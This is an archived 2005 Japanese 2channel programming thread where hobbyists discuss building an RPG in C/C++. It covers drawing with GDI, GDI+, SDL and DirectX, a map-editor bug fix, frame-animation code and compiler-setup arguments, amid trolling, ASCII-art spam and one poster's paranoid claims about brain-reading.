>>468-469 数学に関する思考を妨害された。それも意図的な妨害としか感じられない。お前は大学で何をしていたか考えてみろ。
うはwwww無理オレ無理wwwwwwwwww 誰か頼むwwwwwwwwwwwwwww
.,i´.,/` /`/`.,i´ ,/` ../::;;;;;;;;;::::::::::::::::゙'i、゙l, `i、 ,!: 丶 │,i´ : `"..,i´ .,i´ ,l゙`゙゙゙゙゙゙゙゙''''―-、│ | │ ゙l ゙l ," | .l゙ |: /: `''| l゙ .| .| `), .l゙ | | : : : : .l゙: : :|: : : : l゙ l | .l゙ : l゙ |゙l | | | : : : : │: ::|: : : | /ニニ ,,l゙: ::,!: ../ │ :|: ゙l │ .l゙ | : : : : ": _,,―‐'゙\__/ l゙: :/: :/,i ..,l゙: ,/: :゙l .| .| | : : _,,-'"`  ゙̄:i/: .,/: ./:: : l゙ │: : |: 丶 '゙l、 : `i、/ : : :/:::: :l゙ '|``'-|: : 丶 ゙i、''゙,,ニニニミ' / ,ニニニ、、 |: : :_,,/.:: :│ │、: : \、:ゝ ゙l゙(、 ◎ ,) | ( ◎ )'  ̄i'‐ : : : : :l゙ l゙ │: : \、: :/  ̄ ̄" : 、 ' ̄ ̄" /: : : : : :l゙ ←目が合ったら呪われます .| .":|: : : |゙l::` ̄' l ./: : ::: : : : :, .| l゙ │゙l::: : : .、,,_ _,,i、 \::::::::::::: : :,| l゙: . | : |;;│: `" : ::,l゙;:,、: : : | |: │ :: |;;;;;゙l,: : ニニニニ=‐ : ./::::l゙: : : : | |、:" | : |;;;;::::丶、: .,,,,,,,,,,,、 : ,,'":: |: : : | |: : : ,! : |;;;;;::::;;;`-、: ..,,i´;;;;;: |: : : :| | : : :|` : |;;;;;;;;;;;;;;;;,/'-,_: : ._,,/;;;;;;;;;;; |: : : l
これが噂のVIPクオリティか...
どれがだどれがww
GreatFixer ◆ASWqyCy.nQ に情報提供。 人の脳を読む能力を発現させているヤツは "佐藤さん" だ。 見つけて止めに逝ってみろ。(藁
忘れてたので追記。
ttp://www.uplo.net/dl.html ファイル:523, パスワード: rpg
△ 現在の状況をありのままで報告。
叩かれると それなりに (´-ω-`) シラケーなる。
リア厨房だから、と マジに免罪符を発行してみるテスト。
過去レスでSDLを使ったそのものズバリの解説ページを紹介したわけだが華麗にスルーされている件について
483 :
GreatFixer ◆ASWqyCy.nQ :2005/06/05(日) 07:54:18
>>483 その人の脳を読む力を持つ人に
勝てる作戦とかあるん?
真正面から挑むと、脳を読まれて
ボコボコにされちゃうよー。
>>482 まあたぬさんはすでにGDI+つかってるんだからかまわなくね?
486 :
デフォルトの名無しさん :2005/06/05(日) 08:40:38
どうも!
>>413 には悪いんすが、結局、C入門の入門 著/坂下夕里
という本をかい増し田!なんかCを覚えておくと、ほかの言語も覚えやすいようです。
この本持ってる人&このスレの人、YOROSIKU!
俺はC++(非VC++)の本を買った方が良かったと思うけどな。そんでもって後からCを学ぶと。
488 :
GreatFixer ◆ASWqyCy.nQ :2005/06/05(日) 09:16:40
Re:
>>484 とりあえずその人のデータを警察に持って行くか、私に「佐藤さん」の詳細を教えてくれ。
警察機構に、脳の中を読む能力を持つ人を 取り締まれると?
いつまでスレ違いの議論続けてんの。 RPGの話しようぜ
ゼシカのおっぱいについて
492 :
デフォルトの名無しさん :2005/06/05(日) 16:44:26
>>GreatFixer ◆ASWqyCy.nQ _│_ | \ | \ ―┼‐┐| ̄ ̄| \ |― | |  ̄ ̄ | | | | | || .| | 口..|/ | \/ \/ | 」 |__| / / /レ レ \_ __ | / ..|_ | / | |  ̄ ̄\ | \_/ | _| _/ (_ノ ̄ ヽヽ ―┼― _/ ―┼―┐ / ―┼―‐ ―┼― | | /| | | | | | | ノ ノ ..」 |
>>480 gdiplus入れてないから実行してないけれどソースから
#define WINVER 0x0400
#define _WIN32_WINNT 0
#define _WIN32_WINDOWS 0x0400
#define _WIN32_IE 0
は多分要らない。というかgdiplus使ってこれはちょっとあれ?
それとマップエディタで何がわからないのかを言ってもらえると
いくらかアドバイスのしようもないわけではない。
とりあえず256*256ぐらいの大きさのマップを扱えればいいんじゃないかとか。
うわ・・・ページ開いた瞬間>476が画面ど真ん中に出てきてびびった・・・ うぜーまじうぜー
>>493 >#define WINVER .....
確かにイラナイですね。
影響がでるのはコモンコントロールの構造体ぐらいだし。
マップエディタですケド、何か挙動がおかしいのです。
移動禁止領域の作成時に、設定した領域がゴッチャになるのです。
例えば 10, 20 〜 40, 50 まで移動禁止にし、
50, 0 〜 60, 10も 移動禁止にしたとします。
そうすると、一つ目の 10, 20 〜 40, 50まではしっかりと
移動禁止になるのだけども、
2つ目の 50, 0 〜 60, 10 は何故か 0, 0 〜 10, 60
になってしまうのです。
何度やっても同じ結果で、もうダメポです。
分かり難い説明でスマソ。
>>495 座標単位でやるのはやめて、マス単位で管理したほうがいいと思う
こっちのが、ゲ制作技術板よか人いるね。。
>>495 WM_LBUTTONUP:
for(i=rct[rct_num].top; i < rct[rct_num].bottom; ++i)
{
for(j=rct[rct_num].top; j < rct[rct_num].right; ++j)
{
graphic_info.mapdat[i][j] = 1;
}
}
内側のループ.topになってる。
WM_PAINT:
hBrush = CreateHatchBrush(HS_FDIAGONAL, RGB(128, 128, 128));
SelectObject(hdc, hBrush);
DeleteObject(hBrush);
これはちょっといただけない。
hOld = SelectObject(hdc, hBrush);
// 描画
SelectObject(hdc, hOld);
DeleteObject(hBrush);
とすること。
499 :
498 :2005/06/05(日) 20:55:07
まあプログラムの勘は悪くないと思う。 そのうち慣れれば旨く書けるようになるだろ。頑張れ。
>>493 俺はWINVERとか常に書くべきだと思う。
GDI+使っているのに、ってのはたしかにその通りだが。
むしろプロジェクトの設定、メイクファイルとかに
502 :
GreatFixer ◆ASWqyCy.nQ :2005/06/05(日) 21:39:28
Re:
>>492 本当のきちがいを消してからにしてくれ。
変わったタイプの荒らしだな
GreatFixerのアク禁を心からキボンヌ
>>498 ヌォ!
アナタ、ネ申ですか?
内側のループが.topだったのか。
でも良く動いたナァ。
WM_PAINTの所も頂ける様にした。
コレでやっとRPGの移動禁止コードが組める。
このスレ、なにやらネ申っぽいプログラマーが
2〜3人 住み着いてる様子。
キチガイが居なけりゃ ネ申スレ かも知れない。
専用ブラウザであぼんしなよー。 "工作員" "人の脳" "荒" "Re:>>" あとは名前とかトリップ。
>>502 見たものに反射的に反応しているようだが、それじゃ話は収束しない。
ともすれば、君が変な発言を誘発させられることさえある。
ないようを熟孝するように、一線引いてみてから発言してほしい。君のためにもナー。
Dice 3d6
hello i am dice program
result is 3
goodbye;)
今、数学痛手はどんな扱いを受けているのだろう。 わざわざ見に行くのマンドクセから誰かレポートしてくれ。
509 :
GreatFixer ◆ASWqyCy.nQ :2005/06/06(月) 17:54:30
Re:
>>504 ,
>>506 そこまでいうのなら人の脳を読む能力を悪用する奴の頭を叩き割ってくれ。そうすれば世の中にある問題の解決になるはずだ。
>>509 あんた、プログラムできるんだったら、
たまにはプログラムに関係のある話をしてくれ
>>509 今、そいつの頭を叩き割った。
だから大人しくしろ。
(゚∀゚)おぉ、こんなスレがあった… _| ̄|○ のかぁ…
>>510 The boolean value of the conditional is false, unfortunately.
514 :
デフォルトの名無しさん :2005/06/08(水) 10:10:59
スレストされたと聞いて駆けつけますた
お、じゃあテスト!
516 :
デフォルトの名無しさん :2005/06/08(水) 20:14:47
___ / \ ________ / ∧ ∧ \ / | ・ ・ | < 氏ねよおめーら | )●( | \________ \ ー ノ \____/
いきなり氏ねって、どういう事ですか?君には社会の常識がないのですか? 普通は、『あのう、すいませんけれども氏んでくれませんか?』とか 『あなたはには、氏ぬという選択肢もありますよ』とか言うものですよ、 あなたみたいに最初から喧嘩腰だと、 言われた方は『じゃぁ氏んでみようかな』とかいう気持ちがなくなるものです。 まずは、親切丁寧に人に氏んでと頼むべきだと思いますよ。 そこから、人の輪と協調が生まれ、『よーし氏んでみるか』とか という気持ちが生まれるわけです。
519 :
デフォルトの名無しさん :2005/06/09(木) 10:55:49
てか、アレだぜ。 嵐には放置!!ッ徹底しましょ。 で、話題振りとして 基本的に、みんなグラフィック周りどうしてる? 最初の内は、適当でもいいけどそのうち自作?
適当と自作の違いがわからへん。
521 :
デフォルトの名無しさん :2005/06/09(木) 12:50:35
SDL
GDI
DirectXのSprite
525 :
デフォルトの名無しさん :2005/06/09(木) 22:44:40
Cを設定するところからすでにつっかかった・・・ 設定ムズイ・・・
526 :
デフォルトの名無しさん :2005/06/10(金) 18:15:06
XPか2000ならVCTKですぐ使えるのに
528 :
GreatFixer ◆ASWqyCy.nQ :2005/06/10(金) 20:30:03
Re:
>>526 環境設定はborlandが付けてくれる説明書を読めばできるんじゃないの?
>>528 そんな簡単なこともできないのにプログラミングを始めようとする馬鹿が多いんだよ。
千里の道も一歩から
orz
ぶっちゃけ設定で詰まるってのはPCの初歩的な知識か、検索能力が著しく不足しているからプログラミング以前の問題
この世界の上の人達って初心者をはなっから馬鹿に してる感があってそこがやだ。 風潮ってやつ?悲しくなるよ。
技術は一人前でも心は半人前っていうか。
コンパイラの設定すら出来ないのは初心者以前だよ馬鹿wwwww
コンソール触ったことなければ仕方ないと思うが。
なのにコンソールを学ぼうとしないでコンソールプログラムを使おうとするのが問題。
まあ今じゃゲームの中にチュートリアルが組んであるような世の中だからな
普通はコンパイラの導入方法なんざ、わからんだろ。 検索しても、初めて聞くような言葉ばっかだし。 そんなボロクソに言うほどのことか?
>>539 その辺にしか、自分のアンディティを確保できないのが吠えてるだけだから気にスンナ。
どうせ、プログラムの方もたいしたもんも出来んくせに、
「仕様が元々悪い。期限が短すぎ、上司が悪い。部下が悪い。」
と口だけ一人前のやつなんだからさ。
>>537 むしろコンソールの意味もわからなうぐらいだったりして
>>539 は漫画を読んだりテレビを見るとき、初めて聞くような言葉があったら人に聞くのかね(^∀^)
おれコンソールって言葉を知らずにしばらくCやってたけど
544 :
GreatFixer ◆ASWqyCy.nQ :2005/06/11(土) 22:31:03
説明書を少しも読めない人にはアプリを使う資格無し。 とりあえず言うべきことはこれだけかな?
みんな厳しいなあ
>>544 空気も読めないで人の脳を読む能力とか喚いてた奴に言われたくないな
説明書を読めない奴は人の脳を読むことなんて出来ない、とか言いそうだw
コンパイラの設定が難しいとか言う奴は ・パスや環境変数の概念・意味がよく分からない(Windowsからパソコンはじめた) ・調べることをしない ・そもそも自分でなんとかしようとは思わない ・知らないことは他人に聞けば優しく答えてくれると思っている のお坊ちゃまなんだろうな。
と、びんぼっちゃまが歯軋りしながら書き込んでます
びんぼっちゃまw そもそもBCC以外のほとんどのコンパイラじゃ使用前の設定なんてインストール以外に必要無いってのw 金が無いから無料のBCCを使おうとして躓いちゃってるびんぼっちゃまは誰ですかねw
551 :
デフォルトの名無しさん :2005/06/12(日) 03:03:02
___ / \ ________ / ∧ ∧ \ / | ・ ・ | < スレ違いだっつの 氏ねよおめーら | )●( | \________ \ ー ノ \____/
・パスとか今まで触ったことがないから「分からない」派 ・調べることをしないから「分からない」派 話が噛み合ってない。 WordとかPhotoshopとかばかりいじっていた人が、すんなりJavacやBCCをインストールしちゃったら恐いよw
↑ (。´д)ヒソヒソ(д`。)
>>550 > びんぼっちゃまは誰ですかねw
あなたです ;-)
>>522 とりあえずチュートリアル見たら、サクサク逝けるわな
>>558 >っつうか、BCCっつってもコンソールを使わずにインストールも開発もできる時代なのに、
>インストールすらできない馬鹿が一番悪い。
>このスレに逝けよびんぼっちゃまw
っつつうか、「商用の BCC は IDE 環境がある」ってことすら
知らない奴にびんぼっちゃまと言われてもな・・・
さて、質問者は、いまどこへ・・
>>559 商用のBCCはBDB(BorlandC++Builder)って言う事を知らない奴に言われてもな…
つうか無料のBCCでもIDE環境は無料で幾らでもあるし…
商用のBCCはBorland C++じゃなかったか。
前半分しか服が無い奴の精一杯の反撃だ。 生温かく見守ってやろう。
>>562 そもそもBCCがBorland C++ Compilerの略だから。
商用のBCCなんて現在無いだろ。
商用なのはIDEやライブラリであって。
っつうか、C++BuilderXなら無料でIDEも付いてくるし。
>>559 はそれすら知らないんだろうな。
566 :
デフォルトの名無しさん :2005/06/12(日) 14:08:44
お 前 ら い い 加 減 に し ろ
意気込みの違いもあると思うぜ。俺はそうだった。 ちょっとかじってみるか程度のやる気じゃ、 とことん調べようっていう気は起きなかったな。 今は違うけどな。
誰か、制作途中経過を晒せるヤツはいないのか?
いたとしてこんなとこに晒せると思うか?
ちょっと前まで、けっこう良スレだったじゃないか。
571 :
デフォルトの名無しさん :2005/06/12(日) 15:51:36
>>568 ・元祖「Wizardry」風3Dダンジョン。
・迷宮を自動生成。レベルうpしてさらなる地下へ。
・DOS窓でも Unix/Linux のダム端末でも遊べる。
とゆーのを構想して途中(迷宮の生成と3D表示)まで書いたけど
なかなか仕上げる時間が取れない(今日も無理ぽ)・・・。
572 :
デフォルトの名無しさん :2005/06/12(日) 16:20:59
>>571 ここで、晒すのはやめといた方がいい。
正直、別にもっといい場所があるのだから。
(ココで、どこがいいかは案内先が荒らされるので提示は出来ないが)
チキンばっかだなw そんなんだからスキル無えんだよお前らはwww
574 :
デフォルトの名無しさん :2005/06/12(日) 16:54:11
>>572 いや、晒すならここで晒すよ。前回、意外と好評で嬉しかったし。
>>574 (・∀・)作ってミターヨ さんですか?
>>574 このままだと、荒廃するので晒すのキボン。
577 :
デフォルトの名無しさん :2005/06/12(日) 17:10:46
今週末発売のCマガ買え
オイラもこのスレ利用しようと思ってる。 もうちょっと待ってくれ。
ちょっと聞きたいんだがAVALON(beta)ってwindows2000でも使える? 普通にGDIで作ってもスレが盛り上がらないだろうから何か変わったもの探してるんだが
普通にGDIのほうが盛り上がる気がする。
GDI+はどう?
584 :
デフォルトの名無しさん :2005/06/12(日) 23:56:38
とりあえずDelphiインスコしてきた
586 :
デフォルトの名無しさん :2005/06/13(月) 00:27:17
このスレDelphiはダメなのかよ
588 :
デフォルトの名無しさん :2005/06/13(月) 11:59:10
>>587 そこまで言うのかよ。
まぁ、正直板違い気味のスレッドで、タイトルも読めない奴は十分"アレ"だとは思うけど。
>>591 昔、Hotate's Core見て勉強してた。
勉強中サイトが消えて、むしろ見ないほうが(ry
593 :
デフォルトの名無しさん :2005/06/15(水) 02:49:55
まーだー?
>>591 のレベル2まで作った
DirectXってPNGの読み込みや透過まで自動でやってくれて便利でつね
597 :
GreatFixer ◆ASWqyCy.nQ :2005/06/16(木) 20:49:28
Re:
>>546 だったら少しぐらいは協力してください。
597 あぼ〜ん あぼ〜ん あぼ〜ん あぼ〜ん
599 :
デフォルトの名無しさん :2005/06/16(木) 21:23:41
おまwwwwwww作った奴がでてきても無視かよwwwwwww
600 :
デフォルトの名無しさん :2005/06/16(木) 22:41:00
___ / \ ________ / ∧ ∧ \ / | ・ ・ | < 俺様が600ゲットだ 氏ねよおめーら | )●( | \________ \ ー ノ \____/
602 :
デフォルトの名無しさん :2005/06/17(金) 00:07:00
なんでこんなに荒れてんの?
>>602 別に荒れてないよ。お花畑が一人さえずってるだけ。生暖かくスルー汁。
オレオレ
俺は仕事で忙しいがつくってみたーよとたぬきには頑張れと言っておく。
>>606 なんでGDI+なのよ。十分なFPSは出るんですか。
2Dなら出るだろ。
>>606 作った以上、みんなを引っ張っていけよ。
615 :
608 :2005/06/19(日) 15:08:04
>>614 100×100の画像を、
ColorMatrixで画像をモノクロにする処理をおこなったら、
10FPSくらいしかでなかった。
ColorMatrixが重いだけかもしれんが。
参考程度にどうぞ。
>>615 ワザワザどうもです。
もし、他のモノでも10FPS辺りしか出なかったらヤヴァイ。
ちょっとプログラミング齧った程度の厨房だと、一人で開発するのはムリポ。
誰かタスケレ。
ところで、GDI+を日本語で解説してるサイト、知ってる?
もし、知っているなら教えて頂けると有り難い。
GDI+って触ったことないが、 ただのモノクロ化で10fpsなんて、ありえないぞ。 それは、もともといくつから10に下がったんだ? てゆか、普通のGDIでDIBいじって ピクセルごりごりやれよ。 そっちなら間違いなく普通に速度出るって。
>>617-618 うーむ。
リンク先の実験結果を見ると、物凄い。
とりあえず、GDIについて調べて来る。
>>614 んー、現状で晒すのはあんまりなんで
もーちょっと作ってからにするよ。
といっても時間が取れないんだけどねえ。
今日も職場からパピコ。
>>621 うーん、画像が一個だけの限定された状況じゃなくて、
100個くらい同時に表示するような環境作って試してみたほうがいいんじゃない?
動くけどチラついてこれじゃゲームに…
そこでダブルバッファリングですよ
ちと遅いような気もするが、 RPGならば、これぐらいでも可能かもね。 でも、GDI+がどういう描画方なのかはわからないのですが、 おそらく画面外の描画はしてないのでは? となると、いっぱい出しても それが画面外だと、 ちゃんと計測できない気が・・
>>623 全然関係ないが、アーカイブはzipにしないか?
>>628 >おそらく画面外の描画はしているのでは?
>実際、65536人を選択すると 途轍もなく速度下がるし。
今の描画方と、60000人を同じ位置に表示した描画方で、(全員画面内ってことね)
速度がだいたい同じなら、画面外も描画してるかと。
GDI+を知らない私なので、見当違いのことを言ってるかもしれません。
間違ってたらゴメンね。
630 :
デフォルトの名無しさん :2005/06/19(日) 20:59:12
GDI+遅すぎるしGDIにしないか?
むしろDirectdrawにしないか?
632 :
デフォルトの名無しさん :2005/06/19(日) 21:18:27
3Dは敷居が高すぎる DirectXで2DやるにしてもGDIの方が楽だと思うし
>>630-631 そういうのは自分でやるときに使うようにする。
描画関係なんてどうでもいい。
DirectXの敷居がたかいならSDLにしないか
>>634 早い話がそんなことを言う前にお前らもRPG作ってみないか?
と、そういうことだな。たぶん。
まとめサイト氏がGDI+でやりたいというなら、 それでいいのではないか。 いくらなんでも、30フレぐらいは出るでしょ。 とりあえず、誰かGDI+の解説サイトのアドレス貼ってくれ。
なんだか、このスレ スゴイ勢い。
>>637 別にGDI+で どうしてもやりたいって事ではないデス。
只、GDI+は使い易くて簡単だから 使ってるだけ。
ttp://www.kumei.ne.jp/c_lang/sdk4/sdk_336.htm △ 正直、ココしか見たことない。
まとめサイト、閑古鳥が鳴いてて もうダメポ。
誰か、今までの経過をマトメてくれ。
# (・∀・)作ってミターヨ へ。
まとめサイトの更新ネタの為に ショボくてもイイから、
今作ってるブツを できれば まとめサイトの方にうpしてくれ。
>>637 C#なら、Dobon.netとかあるんだけどねえ
>>639 提案。
まとめサイトをWikiにすれば、みんな簡単に編集できて、
更新も活発に行われるようになると思います
642 :
デフォルトの名無しさん :2005/06/20(月) 02:05:46
>>638 に書いてある通り、やっぱりGDI+は遅いようだし、俺はGDIがいいと思う
(´・ω・`).o○(このスレも方針が割れて崩壊するパターンになるかな)
スレも読まずにそういう書き込みがあるのもパターンだなw
読まないと書けないわけだが 池沼か
書けてない
62の奴はCだと思うのだが
651 :
デフォルトの名無しさん :2005/06/20(月) 16:16:04
まったりいこうや
GDI+ってなんかバグが無かったっけ?
もう直ってる
>>647 乙
>>649 できれば、まとめサイトの あぷろだ にうpしてくれる?
あぷろだ 設置した意味がなくなっちゃうからね。
ナンデモいいから手伝ってくれる輩、居る?
一人だと、辛い。
655 :
デフォルトの名無しさん :2005/06/21(火) 06:23:19
[教えて!goo] 定職になかなか就かない弟・・・
http://oshiete1.goo.ne.jp/kotaeru.php3?q=821656 ところが最近、弟は「自分はコンピュータ言語を勉強する。」と言い出したのです。
そしてここ3ヶ月ほどC語とかビジュアル++やじゃば(私はパソコンには詳しくないのでよくわかりません)
という本を読み漁っています。ひどい時には食事の時も横に置きながら読んでいます。
勝手にさせておけば良いという意見もあるかもしれませんが、私としても母としてもはやくちゃんとした定職に
就いてもらいたいのです。特に母親は心配しています。
↑質問者にマ板見せたら気が狂うに4096PID
657 :
デフォルトの名無しさん :2005/06/21(火) 07:01:04
これだけ熱心に勉強してる奴がこのスレに何人いることか・・・・
658 :
デフォルトの名無しさん :2005/06/21(火) 10:48:47
RPG系(高度な幾何学系処理は不要で、ピクセル単位の画像処理とビット マップの転送が中心)だとDIBSectionベースの描画システムが一番作り やすくて環境にも依存しにくい気もするけど、まあ、いろいろ試してみ る分には良いかもね。 ただ、配布を考えるとGDI+はちょっと辛いな。
GDI+の配布上のデメリットってDLLファイルを1個添付することだけだと思うけど つまり動的リンクするライブラリは望ましくないってこと?
>>655 なんかそこ読んでると、プログラマやってる自分が
すげー偉い生き物に思えてくるから不思議だ。
GDI+(gdiplus.dll)って再配布可能?
663 :
デフォルトの名無しさん :2005/06/22(水) 18:49:29
じゃあGDI+でも問題ないじゃん
>>663 少なくとも最新の100レスくらいを読んだ上で言っているのか?
>>655 一般的にはいわゆるウルトラハッカーを目指すから地味さに負けて挫折するんだと思うけどね。
入り方さえ間違わなければ知的好奇心を刺激する良い分野だとおもうんだけどなー。
しかも、独学でもtry&errerでそこそこのレベルまで持ってけるし。
趣味としては悪くないと思う。
>try&errer 試して間違う人?
それを言うなら trial and error だ。
無理してアルファベットで書いて失敗するタイプかw
試行錯誤でええねん。
トライ&エラー の検索結果のうち 日本語のページ 約 171,000 件中 1 - 50 件目 (0.50 秒) ひょっとして間違って広まった和製英語だったのか トライアル&エラーなんて使ってる書籍みたことない
そもそも >try&errer でさえ検索に引っ掛かるわけだが。 try&errer 10件 try&error 760件 trial&error 125件 トライアンドエラー 7070件 トライアルアンドエラー 1110件 try and errer 62件 try and error 94300件 trial and error 23200件 世界的に見ても、英語圏以外でtry and errorとしている例は多数。 try自体は動詞だからandを続けるのは非nativeということらしい。
>>671 検索の仕方を間違ってるよ。熟語なんだから引用符でくくらないと。
"try and error" の検索結果 約 26,700 件
"trial and error" の検索結果 約 1,660,000 件
673 :
665 :2005/06/23(木) 19:05:03
trial and errorは、初めて聞いた。 goo辞書でもそう書いてあったのでちょっと衝撃!! 改めるよ。
何か、2DRPGにしても3Dでマップ書いてキャラだけチップの奴にしたほうが 最近はライブラリとかも充実してるし楽かと思った。
>ナンデモいいから手伝ってくれる輩、居る? >一人だと、辛い。 華麗にスルーされた。 鬱。 とりあえず、本当に誰か手伝ってクレ。
ずいぶん他力本願だな。手の届く範囲でやればいいじゃないか。 問題があるなら具体的に晒せ。 だいたい「ナンデモいいから」「とりあえず」ってなんだ。 そんなあやふやな呼びかけで人が集まるわけない。
「なんでもいい」だとか「とりあえず」だとか、手伝う人を馬鹿にしてる品。
678 :
ユパ :2005/06/24(金) 13:16:13
またひとつ。。プロジェクトが滅んだか。。。
行こう。ここもじきにdatから落ちる・・・。
>>679 おお、ありがd。
早く次を作りたいんだけど全然時間が取れないよ・・・ orz
来週末には暇ができるかなあ。
>>676-677 言い方が悪かった、謝る。
今、RPGのブロック(マス)目移動で躓いてる所。
アニメーションの方法が 全く分からない状態。
以下の様な輩が手伝ってくれると、非常に有り難い。
・ C/C++言語である程度プログラムが組める (アドバイスだけでも助かる)
・ まとめサイトの管理ができる (プロジェクトのページ更新とか)
まとめサイトの管理は、
藻前さん達を信頼して 垢のIDとパスワードを そのまま渡す予感。
あやふやでスマンかったね。
要は丸投げか。
>>683 キツイこと言うようだけど、プログラム開発のプロジェクトとゆーのは
立ち上げた人がグイグイ引っ張っていかないとどーにもならないよ。
アレもできない、コレも人任せではプロジェクトとして破綻してる。
背伸びしないで、まずは独力でこじんまりとやりなよ。
ここで晒せば見てくれる人もいるだろうしね。
あと、Infoseek のアカウントを他人に使わせるのって大丈夫なの?
利用規約に違反していなければいいけど。
gdiplus.dllを同梱しろと
オープン開発の場合、メインの人がガリガリ書いて周りの人が 使ってバグがあったらハックしてパッチを投げるって感じ。 アドバイスならここでもいいんじゃないのかな。 Windowsでゲーム作るなら出来るだけDirectXのほうが良いべ。 アニメーションやスクロールを実装していくとこれからどんどん重くなる。
SDLのほうがいいと思うんだがみんなスルーするのはなんで?
>>683 ソースがコンパイルできなかったので適当に書くが、
簡単にアニメパターンを変化させたいなら、
基本的には↓みたいにするんじゃない?
static int nMainCount = 0; // カウント
static int nAnime = 0; // アニメフラグ
nMainCount++; // 1フレごとにカウント増やす
if (!(nMainCount % 10)) // 10フレごとに、アニメフラグを変更
nAnime = (nAnime ? 0 : 1);
if (nAnime)
// アニメパターン1描画
else
// アニメパターン2描画
見当違いなこと言ってたらゴメンね。
nAnime = !nAnime; でもいいな。
>>691 おー、頭よさげ。真か偽かを返すのか。
初めて見ました。すっきりしてイイっすね。
……。
初々しくてワラタ
現実逃避して571のコーディングを進めたよーん(ぉぃ
迷宮の自動生成と擬似3Dワイヤフレーム表示がでけた。
あとは
>>62-63 のRPGシステムと組み合わせれば完成かな。
そーだ、なんかヤル気の出るゲームタイトルを考えよう。
前作の続きってことで『デフォルトの名無しさんの冒険2』!
・・・・ベタ杉。却下。
ム板・サーガ レジェンド・オブ・ム板 名無しのダンジョン ファンタシー・ム板
697 :
デフォルトの名無しさん :2005/06/25(土) 18:57:01
【初心者】C/C++言語でRPGを作ってみるスレ【限定】
698 :
692 :2005/06/25(土) 21:49:41
げ、恥を上塗ってしまった・・
みんな「恥ずかしいコード」を書きながら成長していくんだから、 あんまり機にスン名。
702 :
デフォルトの名無しさん :2005/06/26(日) 03:30:48
まとめサイト全然更新ないけどどうしたの?
ヒマなときにでも、ひっそり更新していただいくということで、 いいじゃありませんか。
わてもSDLのがいいとおもう。激しく簡単な上に裏でちゃんとDirectX使ってくれるから高速だし。
どれだっていいじゃん、作るヤシが好きなのを使えば。 そんなことよりヤるかヤらないかが重要。
仕方ない俺様が手伝ってやろう。 で、どうやって手伝えばいいんだゴラ
じゃ、まず死んでくれ。
サルキター
なんでこんなスレ流行ってるのかと思ったらCマガのせいかよw 今さら気づいたぜwwwwww
ぜんぜん機能してないのがすごいなwwww
二ヶ月で700は、この過疎板にしては、かなり流行ってる方かも。
>>686 ,
>>688 プロジェクトの立案者として、至らない所が有り過ぎたと 反省。
できるだけ、人に頼らずにガンガッて見ようと思う。
それと、Infoseekのまとめサイトの件だけど、
>◆ユーザーは、有料無料を問わず、第三者に対し、ホームページスペースを貸し出しすることはできません。
だとさ。 ちょっと残念。
>>687 ,
>>689 まとめサイトの、ダウンロードページに
SDLの開発テンプレと gdiplus.dll を追加してみた予感。
>>690 試行錯誤中。
それらしい移動ができたら、晒すね。
>>695 まとめサイトの活気剤として、キボン。
それをプロジェクトとして 立ち上げたいケド、イイ?
>>706 , 708
感謝感激雨霰。
とりあえず、706は まとめサイトに晒してあるアドレスを MSNメッセに追加してくれる?
嫌なら、掲示板で話してもいいケド。
715 :
695 :2005/06/26(日) 22:25:16
>>714 > それをプロジェクトとして 立ち上げたいケド、イイ?
いま作ってるのはそんな大仰なものじゃないよ。
このスレにコピペできるぐらいの小さなプログラムです。
といっても既に
>>62-63 の倍ぐらいコードがあるけど。
(「前作を凌ぐスケール!」と言ってもウソにはならないなw)
いずれにせよプロジェクトと呼ぶには小さすぎるし、
あと1〜2日で一丁上がりというところまで出来てるので。悪しからず。
>>64 最後return 0;
はいれたほうが…
警告がきになったのでね
それだけ
>>714 Gamedev落ちてるので後で見とくけど、
IRCのが嬉しい予感。
SDLは、俺もいいと思うぜ簡単だし。クロスプラットフォームだし。
あwww infoseekねwww 見れますた。
>>716-717 ご指摘どうも。
>>695 のプログラムで main() の最後に return 0; を書いた時に
そーいや前のプログラムでは書かなかったなーと思ってたところでした。
フリー版 VC++ の cl コマンドはオプション無しだと全然警告を吐かない。(^^;
724 :
デフォルトの名無しさん :2005/06/28(火) 14:50:54
今C勉強中 作ってミターヨ さんみたいに早く作りたい。 尊敬
sage
>>722 スレ立て人も乙。
> もうそろそろ2個目のスレを、作る必要ありそ。
このスレはあと一ヶ月は持つと思うけどな。
ところで、Cのお勉強はしてるのかい?
>>727 ふ〜ん、それはよかった。今どんな感じ?
729 :
デフォルトの名無しさん :2005/06/28(火) 19:59:43
_ ____ ミ川川川川彡 /;;;;;;;;_,;;;;;;;;;,;;;;;;;__;;ヽ ミ /;;;;;/ __ \ ̄ /__\;;) 三 オラの母ちゃんとひまわりが |;;;;;'ゞ_/__ヽノノ ゞ∠_ヽノ/ 三 ,⊥、;;| くO 〉 〈.0 } { 三 偽名でエロゲやエロアニメに / ゞ  ̄  ̄ ⌒ヽ三 | U /二二ヽ }三 出てるけどまあいいや \__ |'⌒'⌒V /三  ̄ヽ__ ゝ ニニノ/ 彡.  ̄ ̄ ̄ ̄ ̄~ 彡川川川川ミ
730 :
デフォルトの名無しさん :2005/06/28(火) 20:08:00
コルーチン呼び出しできるような関数を作ると、シナリオスクリプトもC/C++で書けるのにね。
>>731 醜い事になるんだが(w
先ず、普通にシナリオ部のコードを実行するように記述。
スタック操作するか、setjump() とかlongjump()とか駆使してシナリオ内の関数の特定の位置でメインループに飛ばす。
またメインループからさっきまで実行していたシナリオ内の関数の次の場所まで飛ばす。
関数が終了するとシナリオ部の記述まで戻り、次の関数を呼び出す。
・・・素直にインタプリタ作った方が楽に思えてくるからさあ大変(w
733 :
732 :2005/06/29(水) 08:45:27
あくまでもシナリオ部のコーディングは普通に書いて、そこで呼び出される関数とシステムに仕掛けをしておくって感じだから、シナリオ自体はCとかの初心者でも書けると思う。・・・まあ、ネタって事で(w
734 :
732 :2005/06/29(水) 09:12:10
でも、扱う対象が複数になってくると、もっと込み入った仕掛けが必要になってくるね。 キャラが3体出て来てシナリオをこなすとかだと、スタックがキャラの数+主軸の4本は必要になるんだなこれが。 それに各キャラと主軸を順繰りにまわして行かなきゃならないから、シナリオの記述自体も面倒。 この辺はシナリオの記述の問題かな? キャラ一体一体別々に通しで動きを記述して主軸に束ねる方法と、主軸の記述から細かくステップ毎に各キャラに動作を指示する方法と・・・。 前者だと各キャラの動きを時間軸で合わせ込むのが大変だし、後者だと特定のキャラの一連の動きがわからなくなってくる(w 普通はこの両方を適度に混ぜて使うんだけどね。
>>723-724 どもども。なんか面映いな。
724さん、最初は試行錯誤の連続でうまくいかないこともあるだろうけどがんばってね。
余談だけど、「早く作りたい」というのが製作期間のことなら焦ることはないよ。
